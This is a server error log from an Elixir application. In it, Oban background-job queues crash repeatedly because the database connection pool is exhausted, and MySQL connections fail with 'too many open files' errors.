    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:52:51.238681Z], limit: 50, uuid: "9d57cc62-1622-4a18-a426-4e1769b66a9e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.238687Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35094>, refresh_timer: #Reference<0.2525715032.1068498948.35055>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:52:51.239713Z], limit: 5, uuid: "ce3f135f-99d5-4bfd-9468-579f5b4fd279", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:52:51.239718Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35098>, refresh_timer: #Reference<0.2525715032.1099431938.35891>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:04.707000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:05.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:05.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:07.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:11.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:13.032000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:53:03.237924Z], limit: 5, uuid: "0bfc5b44-153a-4b09-91ac-4f97ba014d99", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.237929Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36017>, refresh_timer: #Reference<0.2525715032.1068498948.35385>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:53:03.239324Z], limit: 3, uuid: "ec1ea505-607e-4c42-a6b8-b92701ac66ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.239329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36063>, refresh_timer: #Reference<0.2525715032.1099431938.36024>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:53:03.240140Z], limit: 50, uuid: "3a5399bb-c968-483d-82ea-143805b31028", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.240146Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36062>, refresh_timer: #Reference<0.2525715032.1099431938.36043>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:53:03.237907Z], limit: 10, uuid: "929414c9-2bc3-48cf-b91b-01e1ff60d700", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.237914Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36015>, refresh_timer: #Reference<0.2525715032.1068498948.35382>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:53:03.239367Z], limit: 20, uuid: "1be6be5e-9368-422b-aa4b-67b84a2d6f25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.239373Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36060>, refresh_timer: #Reference<0.2525715032.1099431938.36027>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:53:03.239887Z], limit: 5, uuid: "8bfb17b8-a246-4e35-9938-331cd6b6a163", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:03.239892Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36061>, refresh_timer: #Reference<0.2525715032.1099431938.36041>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:53:15.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:15.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:16.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:21.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:26.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:53:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:53:15.239357Z], limit: 10, uuid: "9736e3a0-f0c5-4bc1-8791-ac0b274ee5af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:53:15.239363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.35564>, refresh_timer: #Reference<0.2525715032.1068498948.35530>, dispatch_cooldown: 5, running: %{}}
